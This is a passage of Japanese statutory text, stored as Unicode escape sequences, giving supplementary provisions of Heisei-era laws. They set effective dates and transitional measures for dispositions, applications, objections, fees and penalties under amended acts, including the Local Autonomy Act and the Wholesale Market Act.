56db\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u884c\u308f\u308c\u305f\u8074\u805e\u3001\u8074\u554f\u82e5\u3057\u304f\u306f\u8074\u805e\u4f1a\uff08\u4e0d\u5229\u76ca\u51e6\u5206\u306b\u4fc2\u308b\u3082\u306e\u3092\u9664\u304f\u3002\uff09\u53c8\u306f\u3053\u308c\u3089\u306e\u305f\u3081\u306e\u624b\u7d9a\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306b\u3088\u308b\u6539\u6b63\u5f8c\u306e\u95a2\u4fc2\u6cd5\u5f8b\u306e\u76f8\u5f53\u898f\u5b9a\u306b\u3088\u308a\u884c\u308f\u308c\u305f\u3082\u306e\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u653f\u4ee4\u3078\u306e\u59d4\u4efb\uff09\n\u7b2c\u5341\u4e94\u6761\n\u3000\u9644\u5247\u7b2c\u4e8c\u6761\u304b\u3089\u524d\u6761\u307e\u3067\u306b\u5b9a\u3081\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u95a2\u3057\u3066\u5fc5\u8981\u306a\u7d4c\u904e\u63aa\u7f6e\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u516d\u5e74\u516d\u6708\u4e8c\u4e5d\u65e5\u6cd5\u5f8b\u7b2c\u56db\u4e5d\u53f7\uff09\u3000\u6284\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\uff11\n\u3000\u3053\u306e\u6cd5\u5f8b\u4e2d\u3001\u7b2c\u4e00\u7ae0\u306e\u898f\u5b9a\u53ca\u3073\u6b21\u9805\u306e\u898f\u5b9a\u306f\u5730\u65b9\u81ea\u6cbb\u6cd5\u306e\u4e00\u90e8\u3092\u6539\u6b63\u3059\u308b\u6cd5\u5f8b\uff08\u5e73\u6210\u516d\u5e74\u6cd5\u5f8b\u7b2c\u56db\u5341\u516b\u53f7\uff09\u4e2d\u5730\u65b9\u81ea\u6cbb\u6cd5\uff08\u662d\u548c\u4e8c\u5341\u4e8c\u5e74\u6cd5\u5f8b\u7b2c\u516d\u5341\u4e03\u53f7\uff09\u7b2c\u4e8c\u7de8\u7b2c\u5341\u4e8c\u7ae0\u306e\u6539\u6b63\u898f\u5b9a\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u3001\u7b2c\u4e8c\u7ae0\u306e\u898f\u5b9a\u306f\u5730\u65b9\u81ea\u6cbb\u6cd5\u306e\u4e00\u90e8\u3092\u6539\u6b63\u3059\u308b\u6cd5\u5f8b\u4e2d\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u4e09\u7de8\u7b2c\u4e09\u7ae0\u306e\u6539\u6b63\u898f\u5b9a\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e5d\u5e74\u516d\u6708\u4e8c\u3007\u65e5\u6cd5\u5f8b\u7b2c\u4e5d\u516d\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u6708\u3092\u7d4c\u904e\u3057\u305f\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u7f70\u5247\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u5341\u516d\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u4e26\u3073\u306b\u9644\u5247\u7b2c\u4e09\u6761\u7b2c\u4e00\u9805\u53ca\u3073\u7b2c\u56db\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u306a\u304a\u52b9\u529b\u3092\u6709\u3059\u308b\u3053\u3068\u3068\u3055\u308c\u308b\u5834\u5408\u4e26\u3073\u306b\u9644\u5247\u7b2c\u4e94\u6761\u3001\u7b2c\u516d\u6761\u3001\u7b2c\u4e03\u6761\u7b2c\u4e00\u9805\u53ca\u3073\u7b2c\u516b\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3053\u3068\u3068\u3055\u308c\u308b\u5834\u5408\u306b\u304a\u3051\u308b\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u5f8c\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u4e00\u5e74\u4e03\u6708\u4e00\u516d\u65e5\u6cd5\u5f8b\u7b2c\u516b\u4e03\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u5e73\u6210\u5341\u4e8c\u5e74\u56db\u6708\u4e00\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\u305f\u3060\u3057\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u898f\u5b9a\u306f\u3001\u5f53\u8a72\u5404\u53f7\u306b\u5b9a\u3081\u308b\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\u4e00\n\u3000\u7b2c\u4e00\u6761\u4e2d\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u4e8c\u767e\u4e94\u5341\u6761\u306e\u6b21\u306b\u4e94\u6761\u3001\u7bc0\u540d\u4e26\u3073\u306b\u4e8c\u6b3e\u53ca\u3073\u6b3e\u540d\u3092\u52a0\u3048\u308b\u6539\u6b63\u898f\u5b9a\uff08\u540c\u6cd5\u7b2c\u4e8c\u767e\u4e94\u5341\u6761\u306e\u4e5d\u7b2c\u4e00\u9805\u306b\u4fc2\u308b\u90e8\u5206\uff08\u4e21\u8b70\u9662\u306e\u540c\u610f\u3092\u5f97\u308b\u3053\u3068\u306b\u4fc2\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u306b\u9650\u308b\u3002\uff09\u3001\u7b2c\u56db\u5341\u6761\u4e2d\u81ea\u7136\u516c\u5712\u6cd5\u9644\u5247\u7b2c\u4e5d\u9805\u53ca\u3073\u7b2c\u5341\u9805\u306e\u6539\u6b63\u898f\u5b9a\uff08\u540c\u6cd5\u9644\u5247\u7b2c\u5341\u9805\u306b\u4fc2\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u3001\u7b2c\u4e8c\u767e\u56db\u5341\u56db\u6761\u306e\u898f\u5b9a\uff08\u8fb2\u696d\u6539\u826f\u52a9\u9577\u6cd5\u7b2c\u5341\u56db\u6761\u306e\u4e09\u306e\u6539\u6b63\u898f\u5b9a\u306b\u4fc2\u308b\u90e8\u5206\u3092\u9664\u304f\u3002\uff09\u4e26\u3073\u306b\u7b2c\u56db\u767e\u4e03\u5341\u4e8c\u6761\u306e\u898f\u5b9a\uff08\u5e02\u753a\u6751\u306e\u5408\u4f75\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u516d\u6761\u3001\u7b2c\u516b\u6761\u53ca\u3073\u7b2c\u5341\u4e03\u6761\u306e\u6539\u6b63\u898f\u5b9a\u306b\u4fc2\u308b\u90e8\u5206\u3092\u9664\u304f\u3002\uff09\u4e26\u3073\u306b\u9644\u5247\u7b2c\u4e03\u6761\u3001\u7b2c\u5341\u6761\u3001\u7b2c\u5341\u4e8c\u6761\u3001\u7b2c\u4e94\u5341\u4e5d\u6761\u305f\u3060\u3057\u66f8\u3001\u7b2c\u516d\u5341\u6761\u7b2c\u56db\u9805\u53ca\u3073\u7b2c\u4e94\u9805\u3001\u7b2c\u4e03\u5341\u4e09\u6761\u3001\u7b2c\u4e03\u5341\u4e03\u6761\u3001\u7b2c\u767e\u4e94\u5341\u4e03\u6761\u7b2c\u56db\u9805\u304b\u3089\u7b2c\u516d\u9805\u307e\u3067\u3001\u7b2c\u767e\u516d\u5341\u6761\u3001\u7b2c\u767e\u516d\u5341\u4e09\u6761\u3001\u7b2c\u767e\u516d\u5341\u56db\u6761\u4e26\u3073\u306b\u7b2c\u4e8c\u767e\u4e8c\u6761\u306e\u898f\u5b9a\u3000\u516c\u5e03\u306e\u65e5\n\n\n\n\n\uff08\u5378\u58f2\u5e02\u5834\u6cd5\u306e\u4e00\u90e8\u6539\u6b63\u306b\u4f34\u3046\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e5d\u5341\u56db\u6761\n\u3000\u65bd\u884c\u65e5\u524d\u306b\u7b2c\u4e8c\u767e\u516b\u5341\u516b\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6539\u6b63\u524d\u306e\u5378\u58f2\u5e02\u5834\u6cd5\u7b2c\u56db\u5341\u4e5d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u8005\u306b\u5bfe\u3057\u3066\u3057\u305f\u547d\u4ee4\u306f\u3001\u7b2c\u4e8c\u767e\u516b\u5341\u516b\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6539\u6b63\u5f8c\u306e\u540c\u6cd5\u7b2c\u56db\u5341\u4e5d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u3057\u305f\u6307\u793a\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u56fd\u7b49\u306e\u4e8b\u52d9\uff09\n\u7b2c\u767e\u4e94\u5341\u4e5d\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306b\u3088\u308b\u6539\u6b63\u524d\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u304a\u3044\u3066\u3001\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u6a5f\u95a2\u304c\u6cd5\u5f8b\u53c8\u306f\u3053\u308c\u306b\u57fa\u3065\u304f\u653f\u4ee4\u306b\u3088\u308a\u7ba1\u7406\u3057\u53c8\u306f\u57f7\u884c\u3059\u308b\u56fd\u3001\u4ed6\u306e\u5730\u65b9\u516c\u5171\u56e3\u4f53\u305d\u306e\u4ed6\u516c\u5171\u56e3\u4f53\u306e\u4e8b\u52d9\uff08\u9644\u5247\u7b2c\u767e\u516d\u5341\u4e00\u6761\u306b\u304a\u3044\u3066\u300c\u56fd\u7b49\u306e\u4e8b\u52d9\u300d\u3068\u3044\u3046\u3002\uff09\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u5f8c\u306f\u3001\u5730\u65b9\u516c\u5171\u56e3\u4f53\u304c\u6cd5\u5f8b\u53c8\u306f\u3053\u308c\u306b\u57fa\u3065\u304f\u653f\u4ee4\u306b\u3088\u308a\u5f53\u8a72\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u4e8b\u52d9\u3068\u3057\u3066\u51e6\u7406\u3059\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u51e6\u5206\u3001\u7533\u8acb\u7b49\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u767e\u516d\u5341\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\uff08\u9644\u5247\u7b2c\u4e00\u6761\u5404\u53f7\u306b\u63b2\u3052\u308b\u898f\u5b9a\u306b\u3064\u3044\u3066\u306f\u3001\u5f53\u8a72\u5404\u898f\u5b9a\u3002\u4ee5\u4e0b\u3053\u306e\u6761\u53ca\u3073\u9644\u5247\u7b2c\u767e\u516d\u5341\u4e09\u6761\u306b\u304a\u3044\u3066\u540c\u3058\u3002\uff09\u306e\u65bd\u884c\u524d\u306b\u6539\u6b63\u524d\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u3055\u308c\u305f\u8a31\u53ef\u7b49\u306e\u51e6\u5206\u305d\u306e\u4ed6\u306e\u884c\u70ba\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u51e6\u5206\u7b49\u306e\u884c\u70ba\u300d\u3068\u3044\u3046\u3002\uff09\u53c8\u306f\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u6539\u6b63\u524d\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u3055\u308c\u3066\u3044\u308b\u8a31\u53ef\u7b49\u306e\u7533\u8acb\u305d\u306e\u4ed6\u306e\u884c\u70ba\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u7533\u8acb\u7b49\u306e\u884c\u70ba\u300d\u3068\u3044\u3046\u3002\uff09\u3067\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u306b\u304a\u3044\u3066\u3053\u308c\u3089\u306e\u884c\u70ba\u306b\u4fc2\u308b\u884c\u653f\u4e8b\u52d9\u3092\u884c\u3046\u3079\u304d\u8005\u304c\u7570\u306a\u308b\u3053\u3068\u3068\u306a\u308b\u3082\u306e\u306f\u3001\u9644\u5247\u7b2c\u4e8c\u6761\u304b\u3089\u524d\u6761\u307e\u3067\u306e\u898f\u5b9a\u53c8\u306f\u6539\u6b63\u5f8c\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\uff08\u3053\u308c\u306b\u57fa\u3065\u304f\u547d\u4ee4\u3092\u542b\u3080\u3002\uff09\u306e\u7d4c\u904e\u63aa\u7f6e\u306b\u95a2\u3059\u308b\u898f\u5b9a\u306b\u5b9a\u3081\u308b\u3082\u306e\u3092\u9664\u304d\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u4ee5\u5f8c\u306b\u304a\u3051\u308b\u6539\u6b63\u5f8c\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u6539\u6b63\u5f8c\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u76f8\u5f53\u898f\u5b9a\u306b\u3088\u308a\u3055\u308c\u305f\u51e6\u5206\u7b49\u306e\u884c\u70ba\u53c8\u306f\u7533\u8acb\u7b49\u306e\u884c\u70ba\u3068\u307f\u306a\u3059\u3002\n\n\uff12\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u6539\u6b63\u524d\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u56fd\u53c8\u306f\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u6a5f\u95a2\u306b\u5bfe\u3057\u5831\u544a\u3001\u5c4a\u51fa\u3001\u63d0\u51fa\u305d\u306e\u4ed6\u306e\u624b\u7d9a\u3092\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u4e8b\u9805\u3067\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u524d\u306b\u305d\u306e\u624b\u7d9a\u304c\u3055\u308c\u3066\u3044\u306a\u3044\u3082\u306e\u306b\u3064\u3044\u3066\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u53ca\u3073\u3053\u308c\u306b\u57fa\u3065\u304f\u653f\u4ee4\u306b\u5225\u6bb5\u306e\u5b9a\u3081\u304c\u3042\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u308c\u3092\u3001\u6539\u6b63\u5f8c\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u76f8\u5f53\u898f\u5b9a\u306b\u3088\u308a\u56fd\u53c8\u306f\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u76f8\u5f53\u306e\u6a5f\u95a2\u306b\u5bfe\u3057\u3066\u5831\u544a\u3001\u5c4a\u51fa\u3001\u63d0\u51fa\u305d\u306e\u4ed6\u306e\u624b\u7d9a\u3092\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u4e8b\u9805\u306b\u3064\u3044\u3066\u305d\u306e\u624b\u7d9a\u304c\u3055\u308c\u3066\u3044\u306a\u3044\u3082\u306e\u3068\u307f\u306a\u3057\u3066\u3001\u3053\u306e\u6cd5\u5f8b\u306b\u3088\u308b\u6539\u6b63\u5f8c\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u4e0d\u670d\u7533\u7acb\u3066\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u767e\u516d\u5341\u4e00\u6761\n\u3000\u65bd\u884c\u65e5\u524d\u306b\u3055\u308c\u305f\u56fd\u7b49\u306e\u4e8b\u52d9\u306b\u4fc2\u308b\u51e6\u5206\u3067\u3042\u3063\u3066\u3001\u5f53\u8a72\u51e6\u5206\u3092\u3057\u305f\u884c\u653f\u5e81\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u51e6\u5206\u5e81\u300d\u3068\u3044\u3046\u3002\uff09\u306b\u65bd\u884c\u65e5\u524d\u306b\u884c\u653f\u4e0d\u670d\u5be9\u67fb\u6cd5\u306b\u898f\u5b9a\u3059\u308b\u4e0a\u7d1a\u884c\u653f\u5e81\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u4e0a\u7d1a\u884c\u653f\u5e81\u300d\u3068\u3044\u3046\u3002\uff09\u304c\u3042\u3063\u305f\u3082\u306e\u306b\u3064\u3044\u3066\u306e\u540c\u6cd5\u306b\u3088\u308b\u4e0d\u670d\u7533\u7acb\u3066\u306b\u3064\u3044\u3066\u306f\u3001\u65bd\u884c\u65e5\u4ee5\u5f8c\u306b\u304a\u3044\u3066\u3082\u3001\u5f53\u8a72\u51e6\u5206\u5e81\u306b\u5f15\u304d\u7d9a\u304d\u4e0a\u7d1a\u884c\u653f\u5e81\u304c\u3042\u308b\u3082\u306e\u3068\u307f\u306a\u3057\u3066\u3001\u884c\u653f\u4e0d\u670d\u5be9\u67fb\u6cd5\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u308b\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u51e6\u5206\u5e81\u306e\u4e0a\u7d1a\u884c\u653f\u5e81\u3068\u307f\u306a\u3055\u308c\u308b\u884c\u653f\u5e81\u306f\u3001\u65bd\u884c\u65e5\u524d\u306b\u5f53\u8a72\u51e6\u5206\u5e81\u306e\u4e0a\u7d1a\u884c\u653f\u5e81\u3067\u3042\u3063\u305f\u884c\u653f\u5e81\u3068\u3059\u308b\u3002\n\n\uff12\n\u3000\u524d\u9805\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u4e0a\u7d1a\u884c\u653f\u5e81\u3068\u307f\u306a\u3055\u308c\u308b\u884c\u653f\u5e81\u304c\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u6a5f\u95a2\u3067\u3042\u308b\u3068\u304d\u306f\u3001\u5f53\u8a72\u6a5f\u95a2\u304c\u884c\u653f\u4e0d\u670d\u5be9\u67fb\u6cd5\u306e\u898f\u5b9a\u306b\u3088\u308a\u51e6\u7406\u3059\u308b\u3053\u3068\u3068\u3055\u308c\u308b\u4e8b\u52d9\u306f\u3001\u65b0\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u4e8c\u6761\u7b2c\u4e5d\u9805\u7b2c\u4e00\u53f7\u306b\u898f\u5b9a\u3059\u308b\u7b2c\u4e00\u53f7\u6cd5\u5b9a\u53d7\u8a17\u4e8b\u52d9\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u624b\u6570\u6599\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u767e\u516d\u5341\u4e8c\u6761\n\u3000\u65bd\u884c\u65e5\u524d\u306b\u304a\u3044\u3066\u3053\u306e\u6cd5\u5f8b\u306b\u3088\u308b\u6539\u6b63\u524d\u306e\u305d\u308c\u305e\u308c\u306e\u6cd5\u5f8b\uff08\u3053\u308c\u306b\u57fa\u3065\u304f\u547d\u4ee4\u3092\u542b\u3080\u3002\uff09\u306e\u898f\u5b9a\u306b\u3088\u308a\u7d0d\u4ed8\u3059\u3079\u304d\u3067\u3042\u3063\u305f\u624b\u6570\u6599\u306b\u3064\u3044\u3066\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u53ca\u3073\u3053\u308c\u306b\u57fa\u3065\u304f\u653f\u4ee4\u306b\u5225\u6bb5\u306e\u5b9a\u3081\u304c\u3042\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u7f70\u5247\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u767e\u516d\u5341\u4e09\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u305d\u306e\u4ed6\u306e\u7d4c\u904e\u63aa\u7f6e\u306e\u653f\u4ee4\u3078\u306e\u59d4\u4efb\uff09\n\u7b2c\u767e\u516d\u5341\u56db\u6761\n\u3000\u3053\u306e\u9644\u5247\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u4f34\u3044\u5fc5\u8981\u306a\u7d4c\u904e\u63aa\u7f6e\uff08\u7f70\u5247\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\u3092\u542b\u3080\u3002\uff09\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\uff12\n\u3000\u9644\u5247\u7b2c\u5341\u516b\u6761\u3001\u7b2c\u4e94\u5341\u4e00\u6761\u53ca\u3073\u7b2c\u767e\u516b\u5341\u56db\u6761\u306e\u898f\u5b9a\u306e\u9069\u7528\u306b\u95a2\u3057\u3066\u5fc5\u8981\u306a\u4e8b\u9805\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\n\n\uff08\u691c\u8a0e\uff09\n\u7b2c\u4e8c\u767e\u4e94\u5341\u6761\n\u3000\u65b0\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u4e8c\u6761\u7b2c\u4e5d\u9805\u7b2c\u4e00\u53f7\u306b\u898f\u5b9a\u3059\u308b\u7b2c\u4e00\u53f7\u6cd5\u5b9a\u53d7\u8a17\u4e8b\u52d9\u306b\u3064\u3044\u3066\u306f\u3001\u3067\u304d\u308b\u9650\u308a\u65b0\u305f\u306b\u8a2d\u3051\u308b\u3053\u3068\u306e\u306a\u3044\u3088\u3046\u306b\u3059\u308b\u3068\u3068\u3082\u306b\u3001\u65b0\u5730\u65b9\u81ea\u6cbb\u6cd5\u5225\u8868\u7b2c\u4e00\u306b\u63b2\u3052\u308b\u3082\u306e\u53ca\u3073\u65b0\u5730\u65b9\u81ea\u6cbb\u6cd5\u306b\u57fa\u3065\u304f\u653f\u4ee4\u306b\u793a\u3059\u3082\u306e\u306b\u3064\u3044\u3066\u306f\u3001\u5730\u65b9\u5206\u6a29\u3092\u63a8\u9032\u3059\u308b\u89b3\u70b9\u304b\u3089\u691c\u8a0e\u3092\u52a0\u3048\u3001\u9069\u5b9c\u3001\u9069\u5207\u306a\u898b\u76f4\u3057\u3092\u884c\u3046\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\u7b2c\u4e8c\u767e\u4e94\u5341\u4e00\u6761\n\u3000\u653f\u5e9c\u306f\u3001\u5730\u65b9\u516c\u5171\u56e3\u4f53\u304c\u4e8b\u52d9\u53ca\u3073\u4e8b\u696d\u3092\u81ea\u4e3b\u7684\u304b\u3064\u81ea\u7acb\u7684\u306b\u57f7\u884c\u3067\u304d\u308b\u3088\u3046\u3001\u56fd\u3068\u5730\u65b9\u516c\u5171\u56e3\u4f53\u3068\u306e\u5f79\u5272\u5206\u62c5\u306b\u5fdc\u3058\u305f\u5730\u65b9\u7a0e\u8ca1\u6e90\u306e\u5145\u5b9f\u78ba\u4fdd\u306e\u65b9\u9014\u306b\u3064\u3044\u3066\u3001\u7d4c\u6e08\u60c5\u52e2\u306e\u63a8\u79fb\u7b49\u3092\u52d8\u6848\u3057\u3064\u3064\u691c\u8a0e\u3057\u3001\u305d\u306e\u7d50\u679c\u306b\u57fa\u3065\u3044\u3066\u5fc5\u8981\u306a\u63aa\u7f6e\u3092\u8b1b\u305a\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\u7b2c\u4e8c\u767e\u4e94\u5341\u4e8c\u6761\n\u3000\u653f\u5e9c\u306f\u3001\u533b\u7642\u4fdd\u967a\u5236\u5ea6\u3001\u5e74\u91d1\u5236\u5ea6\u7b49\u306e\u6539\u9769\u306b\u4f34\u3044\u3001\u793e\u4f1a\u4fdd\u967a\u306e\u4e8b\u52d9\u51e6\u7406\u306e\u4f53\u5236\u3001\u3053\u308c\u306b\u5f93\u4e8b\u3059\u308b\u8077\u54e1\u306e\u5728\u308a\u65b9\u7b49\u306b\u3064\u3044\u3066\u3001\u88ab\u4fdd\u967a\u8005\u7b49\u306e\u5229\u4fbf\u6027\u306e\u78ba\u4fdd\u3001\u4e8b\u52d9\u51e6\u7406\u306e\u52b9\u7387\u5316\u7b49\u306e\u8996\u70b9\u306b\u7acb\u3063\u3066\u3001\u691c\u8a0e\u3057\u3001\u5fc5\u8981\u304c\u3042\u308b\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u305d\u306e\u7d50\u679c\u306b\u57fa\u3065\u3044\u3066\u6240\u8981\u306e\u63aa\u7f6e\u3092\u8b1b\u305a\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u4e00\u5e74\u4e03\u6708\u4e8c\u516d\u65e5\u6cd5\u5f8b\u7b2c\u4e00\u3007\u4e5d\u53f7\uff09\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\u305f\u3060\u3057\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u898f\u5b9a\u306f\u3001\u5f53\u8a72\u5404\u53f7\u306b\u5b9a\u3081\u308b\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\u4e00\n\u3000\u7b2c\u4e00\u6761\u4e2d\u5378\u58f2\u5e02\u5834\u6cd5\u7b2c\u56db\u5341\u516d\u6761\u306e\u6539\u6b63\u898f\u5b9a\u3000\u5e73\u6210\u5341\u4e00\u5e74\u5341\u6708\u4e00\u65e5\n\n\u4e8c\n\u3000\u7b2c\u4e00\u6761\u4e2d\u5378\u58f2\u5e02\u5834\u6cd5\u7b2c\u4e8c\u5341\u6761\u306e\u6539\u6b63\u898f\u5b9a\u3001\u540c\u6cd5\u7b2c\u4e8c\u5341\u4e5d\u6761\u304b\u3089\u7b2c\u4e09\u5341\u4e8c\u6761\u307e\u3067\u306e\u6539\u6b63\u898f\u5b9a\uff08\u540c\u6cd5\u7b2c\u4e09\u5341\u6761\u306b\u4fc2\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u3001\u540c\u6cd5\u7b2c\u4e94\u5341\u4e00\u6761\u306e\u6539\u6b63\u898f\u5b9a\u3001\u540c\u6cd5\u7b2c\u516d\u5341\u4e8c\u6761\u306e\u6539\u6b63\u898f\u5b9a\u3001\u540c\u6cd5\u7b2c\u516d\u5341\u4e09\u6761\u306e\u6539\u6b63\u898f\u5b9a\u53ca\u3073\u540c\u6cd5\u7b2c\u516b\u5341\u4e00\u6761\u306e\u6b21\u306b\u6b21\u306e\u4e00\u6761\u3092\u52a0\u3048\u308b\u6539\u6b63\u898f\u5b9a\uff08\u540c\u6cd5\u7b2c\u516b\u5341\u4e8c\u6761\u7b2c\u4e8c\u53f7\u306b\u4fc2\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u3000\u5e73\u